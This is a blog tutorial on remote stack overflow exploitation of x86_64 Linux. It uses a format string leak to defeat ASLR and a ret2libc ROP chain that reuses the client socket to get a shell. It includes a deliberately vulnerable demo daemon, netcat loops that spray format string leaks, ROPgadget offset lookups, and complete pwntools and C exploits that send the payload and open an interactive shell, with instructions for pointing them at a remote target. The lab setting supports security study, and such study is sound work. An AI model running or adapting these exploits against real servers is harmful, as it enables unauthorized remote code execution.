x86_64 Linux Remote Stack Overflow Exploitation - bypass ASLR via format string information leak (non la57 system)

written by : Antonius (w1sdom)
web : bluedragonsec.com
github : https://github.com/bluedragonsecurity

This technique is only possible if there is an additional bug besides the stack overflow in the application, such as a format string bug that allows the attacker to obtain memory addresses remotely.

The Remote Stack Overflow technique on modern 64-bit Linux (x86_64) systems is challenging due to protections such as ASLR (Address Space Layout Randomization) and NX (No-Execute).

To bypass them, we often use a combination of attacks: Format String Vulnerability to leak addresses (memory leak) and Return-to-libc (ret2libc) to execute system commands.

The following are the in-depth technical steps:

1. Preparation Phase: Information Leak (Format String)

Modern systems randomize memory addresses each time a program runs. Without knowing the exact address of the libc library, we cannot jump to functions such as system().

If the target daemon has a format string bug (for example: printf(user_input) instead of printf(“%s”, user_input)), we can send special format characters:

libc base address = Leaked Address - Static Offset

Static offset is the distance (relative distance) between the address of a function or symbol and the starting address (base address) of the libc file.

This value is constant for one specific libc binary file, but will differ across different libc versions. Therefore, for reliable exploit development we need the ELF file for the vulnerable daemon on the target server and we must also have the shared object binary libc.so.6 and ld-linux-x86–64.so.2 with the same version as the target we are going to exploit. We should also have the same ELF binary file as on the target machine, or at minimum we must have the vulnerable daemon source code and the same GCC version as the target machine.

For some exploit development cases, for reliability, it is advisable to use the same operating system as the target, because even if we have already used patchelf so that the vulnerable binary uses libc.so.6 and ld.so, a different operating system will have different environment variables and the vdso injected by the kernel into the binary will be different.

2. Exploitation Phase: Stack Buffer Overflow

After the libc base address is known, we can calculate the exact addresses of the functions and strings we need, for example:

1. system(): Function to execute shell commands.

2. exit(): To terminate the process cleanly.

3. “/bin/sh”: A string that is usually available inside the libc binary.

On 64-bit architecture, function arguments are not placed on the stack but in registers. This is a crucial difference from 32-bit.

3. Building the ROP Chain (Return Oriented Programming)

Due to NX (No-Execute) protection, we cannot execute shellcode on the stack. We must use “gadgets” (code snippets ending with ret) that already exist in legal memory.

To call system(“/bin/sh”) on 64-bit Linux, we need to set the RDI register (first argument) to contain the address of the string “/bin/sh”. We need a gadget called pop rdi; ret.

Example Payload Structure (ROP Chain):

1. Padding: Junk characters (e.g., ‘A’) to fill the buffer until reaching the Saved RIP.

2. Address of pop rdi; ret: Gadget to pop a value from the stack into RDI.

3. Address of “/bin/sh”: The value that will be “popped” into RDI.

4. Address of ret (Optional/Alignment): Often needed for stack alignment (16-byte) so that system() does not crash on the MOVAPS instruction.

5. Address of system(): The address of the function to be executed.

Since in this example we will use the return-to-libc technique by leveraging the leaked memory address through the format string bug, for reliable exploit development, we must know the target operating system to be exploited. The purpose is to know which version of libc is being used.

Additionally, we must also have the same daemon binary file on our computer as the vulnerable binary on the target server.

For example, if the target server runs Lubuntu 24 and nginx 1.3.9, then for reliable exploit development on the computer used for exploit development, we need the libc.so.6 and ld.so with the same version as the target server. We must also have the nginx binary with the same version as on the target server. If we do not have the daemon binary with the same version, at minimum we must have the source code of the vulnerable application to compile locally with the same GCC version as the target, then patch with patchelf. By having the same binary as the target machine, the stack and heap layout will remain the same.

Why must ld.so (Linker) be the same? libc.so.6 cannot run on its own. It requires the Dynamic Linker (usually named ld-linux-x86–64.so.2 on 64-bit) to map the library into memory. If you run libc version 2.31 using ld version 2.35 from your native system, the program will most likely Segmentation Fault immediately before reaching the main function.

For some exploit development cases, for reliability, it is advisable to use the same operating system as the target, because even if we have already used patchelf so that the vulnerable binary uses libc.so.6 and ld.so, a different operating system will have different environment variables and the vdso injected by the kernel into the binary will be different.

Simple Analogy

Step 1. Preparation

In this example, the target machine uses IP 192.168.56.102 with Lubuntu 24.04.3 operating system and the attacker machine uses Kali Linux with IP 192.168.56.1.

As usual, to set the hostname for IP 192.168.56.102 to victim, we run dnsmasq. If not already present in dnsmasq.conf, add:

address=/victim/192.168.56.102

then: sudo systemctl restart dnsmasq

Then edit /etc/resolv.conf, add:

nameserver 127.0.0.1

Here is the vulnerable daemon application source code on the target victim server:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void handle_client(int client_sock) {
    char buffer[64];
    char input[512];
    int n = recv(client_sock, input, sizeof(input) - 1, 0);
    if (n > 0) {
        input[n] = '\0';
        dprintf(client_sock, "Server Echo: ");
        dprintf(client_sock, input);
        dprintf(client_sock, "\n");
        memcpy(buffer, input, n);
    }
}

int main(int argc, char **argv) {
    int server_fd, client_sock;
    struct sockaddr_in server_addr;
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(8888);
    bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
    listen(server_fd, 5);
    printf("Listening on port 8888...\n");
    while (1) {
        client_sock = accept(server_fd, NULL, NULL);
        if (fork() == 0) {
            close(server_fd);
            handle_client(client_sock);
            exit(0);
        }
        close(client_sock);
    }
    return 0;
}

The daemon listens on port 8888 and has a format string bug and a stack overflow:

Format string bug:

dprintf(client_sock, input);

Stack overflow bug because buffer is smaller than input:

memcpy(buffer, input, n);

Compile:

gcc -o vuln vuln.c -fno-stack-protector -fno-pie -no-pie

Since the program above has a format string bug, we can try calculating the libc base address later with this simple formula:

libc base address = Leaked Address - Static Offset

where the leaked address is expected to be in the memory range where libc is loaded in memory.

Before attempting remote exploitation, we will first try exploiting the daemon locally on our Kali Linux machine.

For reliable ROP development, I have already downloaded libc.so.6 and its dynamic linker with the same version as the target machine.

Create symlink:

ln -s ld-linux-x86-64.so.2 ld.so

Next, use patchelf so the ELF behaves the same when run as on the target machine:

patchelf --set-rpath . ./vuln
patchelf --set-interpreter ./ld.so ./vuln

After patching, run:

./vuln

Step 2. Local Exploitation Test (Calculating the libc Base Address)

For local exploitation testing, we will first try format string spraying to find a memory address that is likely within the libc range loaded in memory when the program runs.

Test with netcat, let us input a format string to see if any memory is leaked:

$ nc localhost 8888
%p %p
Server Echo: 0x7fff2e04e3b0 (nil)

We can see a leaked memory address from a register. Remember, on x64 architecture, arguments for functions from argument 1 through argument 6 are stored in registers, while the rest are stored on the stack:

Argument 1: %rdi, Argument 2: %rsi, Argument 3: %rdx, Argument 4: %rcx, Argument 5: %r8, Argument 6: %r9

The remaining arguments are pushed onto the stack. Here we expect leaked memory information from the stack that is likely within the libc memory mapping range. For that, we will try spraying further.

The characteristic of memory addresses that are likely in the libc mapping area is that they start with 0x7 but do not contain the fingerprint 0x7ff because the 0x7ff area is the stack range on 64-bit Linux.

Use bash shell and netcat:

for i in {1..40}; do echo -n "Offset $i: "; echo "LEAK %$i\$p" | nc 127.0.0.1 8888; done

No matching address found yet. Let us continue spraying from offset 41 to 80:

for i in {41..80}; do echo -n "Offset $i: "; echo "LEAK %$i\$p" | nc 127.0.0.1 8888; done

Result (excerpted):

Offset 45: Server Echo: LEAK 0x403e00
Offset 46: Server Echo: LEAK 0x7f4378120000
Offset 47: Server Echo: LEAK 0x7fff5f852520
Offset 48: Server Echo: LEAK 0x7f4377ef4147

We found 2 memory addresses that are most likely within the memory range where libc is mapped when the program runs, at offset 46 and offset 48.

We will use the memory address at offset 48: 0x7f4377ef4147

There is a possibility that the libc base address is 0x7f4377e00000. We can estimate by replacing the last 5 bytes of 0x7f4377ef4147 with 0, but sometimes this method is not accurate. It is better to look directly at /proc/pid/maps.

To verify:

$ ps aux | grep vuln
robohax 17675 0.0 0.0 2692 1484 pts/1 S+ 12:52 0:00 ./vuln

The PID is 17675, then:

cat /proc/17675/maps | grep libc

Result:

Indeed, it is the libc base address we estimated based on the leaked memory address.

(in x86_64 linux without la57, libc base fingerprint is 0x7f :-p , how do I know ? experience !)

Step 3. Local Exploitation Test (Calculating the Static Offset)

Back to our simple calculation formula:

libc base address = Leaked Address - Static Offset

So we already have this data:

0x7f4377e00000 = 0x7f4377ef4147 - static offset

So static offset = 0x7f4377ef4147–0x7f4377e00000

To calculate it we can use an online tool: https://www.calculator.net/hex-calculator.html

Result: 0xF4147

So the static offset is 0xF4147.

Step 4. Local Exploitation Test (Constructing the ROP)

ROP (Return Oriented Programming) is an advanced exploitation technique used to take control of a program by leveraging code snippets that already exist in memory.

To construct the ROP we can leverage ASM code snippets stored in the ELF memory range, libc memory range, vdso memory range, and others. In this example, since the leaked memory address falls within the range where libc is loaded, we will use ROP instructions found inside libc. This technique is also known as ret2libc.

Our goal is to exploit the vulnerable program to perform a bind shell on a port we specify.

Our ROP layout for a bind shell utilizing the client socket created by the server for us during the connection:

dup2(4, 0) - Redirect STDIN
dup2(4, 1) - Redirect STDOUT
system("/bin/sh")

See that ? we don’t use int 80h, we do not create new socket, we just use existing client socket fd, this is called the socket re-use attack technique !

Finding the offsets using ROPgadget and objdump:

ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"     -----> 0x10f78b
ROPgadget --binary libc.so.6 | grep "pop rsi ; ret"     -----> 0x110a7d
nm -D libc.so.6 | grep " dup2"                          -----> 0x116990
nm -D libc.so.6 | grep " system"                        -----> 0x058750
strings -a -t x libc.so.6 | grep "/bin/sh"              -----> 0x1cb42f
ROPgadget --binary libc.so.6 | grep ": ret$" | head -5  -----> 0x02882f

Summary of collected information:

pop rdi; ret  at offset 0x10f78b
pop rsi; ret  at offset 0x110a7d
dup2          at offset 0x116990
system        at offset 0x058750
/bin/sh       at offset 0x1cb42f
ret           at offset 0x02882f
static offset from libc base to leaked memory address: 0xF4147

Based on previous testing, the saved RBP in vuln when the handle_client function receives input is overwritten after byte 80. After byte 88, we begin overwriting the return address.

To craft the exploit we will use Python and pwntools (sorry, I’m not used with pwntools, just to show you something easy):

#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
target_host = '127.0.0.1'
target_port = 8888

def pwn():
    libc_base = 0
    try:
        io_leak = remote(target_host, target_port)
        io_leak.send(b"%48$p")
        io_leak.recvuntil(b"Server Echo: ")
        leak_data = io_leak.recvline().strip().decode()
        leaked_addr = int(leak_data, 16)
        libc_base = leaked_addr - 0xf4147
        print(f"[+] Libc Base: {hex(libc_base)}")
        io_leak.close()
    except Exception as e:
        print(f"[-] Leak Failed: {e}")
        return

    pop_rdi = libc_base + 0x10f78b
    pop_rsi = libc_base + 0x110a7d
    dup2_addr = libc_base + 0x116990
    system_addr = libc_base + 0x58750
    bin_sh_addr = libc_base + 0x1cb42f
    ret_align = libc_base + 0x2882f
    fd = 4

    rop = b""
    # dup2(4, 0) - Redirect STDIN
    rop += p64(pop_rdi) + p64(fd)
    rop += p64(pop_rsi) + p64(0)
    rop += p64(dup2_addr)
    # dup2(4, 1) - Redirect STDOUT
    rop += p64(pop_rdi) + p64(fd)
    rop += p64(pop_rsi) + p64(1)
    rop += p64(dup2_addr)
    # system("/bin/sh")
    rop += p64(ret_align)
    rop += p64(pop_rdi) + p64(bin_sh_addr)
    rop += p64(system_addr)

    padding = b"A" * 80
    saved_rbp = b"B" * 8

    # Combine everything. Add padding
    payload = padding + saved_rbp + rop + b"C" * 32

    print(f"[*] Sending payload to {target_host}...")
    io_exp = remote(target_host, target_port)
    io_exp.send(payload)
    time.sleep(1)
    io_exp.interactive()

if __name__ == "__main__":
    pwn()

Save as exploit.py then run:

chmod +x exploit.py
./exploit.py

Result:

Press enter or click to view image in full size

We successfully obtained a bind shell in our local machine experiment.

Step 5. Remote Exploitation Test Against the Target Server

To test on the target server, we simply change the line in the exploit containing IP 127.0.0.1 to the target server address. In this example, we have already set the target server hostname to victim, so simply adjust this line:

target_host = 'victim'

Run the exploit:

./exploit.py

Result:

Of course, using Python for exploits may seem less elegant to some. Here is an example exploit code in C:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/select.h>

#define LIBC_BASE    0x77595c200000
#define POP_RDI      (LIBC_BASE + 0x10f78b)
#define POP_RSI      (LIBC_BASE + 0x110a7d)
#define DUP2_ADDR    (LIBC_BASE + 0x116990)
#define SYSTEM_ADDR  (LIBC_BASE + 0x058750)
#define BIN_SH_ADDR  (LIBC_BASE + 0x1cb42f)
#define RET_ALIGN    (LIBC_BASE + 0x02882f)

void interactive_shell(int sock) {
    char buffer[1024];
    fd_set fds;
    while (1) {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(sock, &fds);
        select(sock + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(0, &fds)) {
            int n = read(0, buffer, sizeof(buffer));
            send(sock, buffer, n, 0);
        }
        if (FD_ISSET(sock, &fds)) {
            int n = recv(sock, buffer, sizeof(buffer), 0);
            if (n <= 0) break;
            write(1, buffer, n);
        }
    }
}

int main() {
    int sock;
    struct sockaddr_in serv_addr;
    unsigned char payload[512];
    int fd = 4;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(8888);
    inet_pton(AF_INET, "192.168.56.102", &serv_addr.sin_addr);
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("[-] Connection failed");
        return 1;
    }

    memset(payload, 'A', 80);
    memset(payload + 80, 'B', 8);
    unsigned long *rop = (unsigned long *)(payload + 88);
    int i = 0;
    rop[i++] = POP_RDI;
    rop[i++] = fd;
    rop[i++] = POP_RSI;
    rop[i++] = 0;
    rop[i++] = DUP2_ADDR;
    rop[i++] = POP_RDI;
    rop[i++] = fd;
    rop[i++] = POP_RSI;
    rop[i++] = 1;
    rop[i++] = DUP2_ADDR;
    rop[i++] = RET_ALIGN;
    rop[i++] = POP_RDI;
    rop[i++] = BIN_SH_ADDR;
    rop[i++] = SYSTEM_ADDR;
    memset(payload + 88 + (i * 8), 'C', 32);

    printf("[*] Sending payload (96 bytes + ROP chain)...\n");
    send(sock, payload, 88 + (i * 8) + 32, 0);

    interactive_shell(sock);
    close(sock);
    return 0;
}

Adjust the libc base with the leak result from the format string:

#define LIBC_BASE 0x77595c200000

Compile and run:

gcc -o exploit exploit.c
./exploit

Result:

 


 

I do low level vulnerability research & hardware hacking (main focus : robotics).

Nicknames : w1sdom, sw0rdm4n, ringlayer, robotsoft, bluedragonsec, ev1lut10n, d4r3d3v1l, jck.marshall (1 time usage), 黑蝎子

Low-Level Vulnerability Research | Hardware Hacking | Robotics | Chinese | Polymath






Hobbies

music (fingerstyle guitar & keyboard)
martial art (muay thai, tae kwon do, boxing, bjj).

Music Channel
Martial Art Channel

Skills & Expertise
Vulnerability Research Static Source Code Analysis Kernel Exploitation Userland Exploitation Heap Exploitation Stack Exploitation Fuzzing Hardware Hacking Network Security Reverse Engineering Modern Mitigation Bypass Deep Learning Mechatronics Electronics Robotics Tactical Hacking Device Development Mathematics Machine Learning

Documentations
Github

Now Playing: ...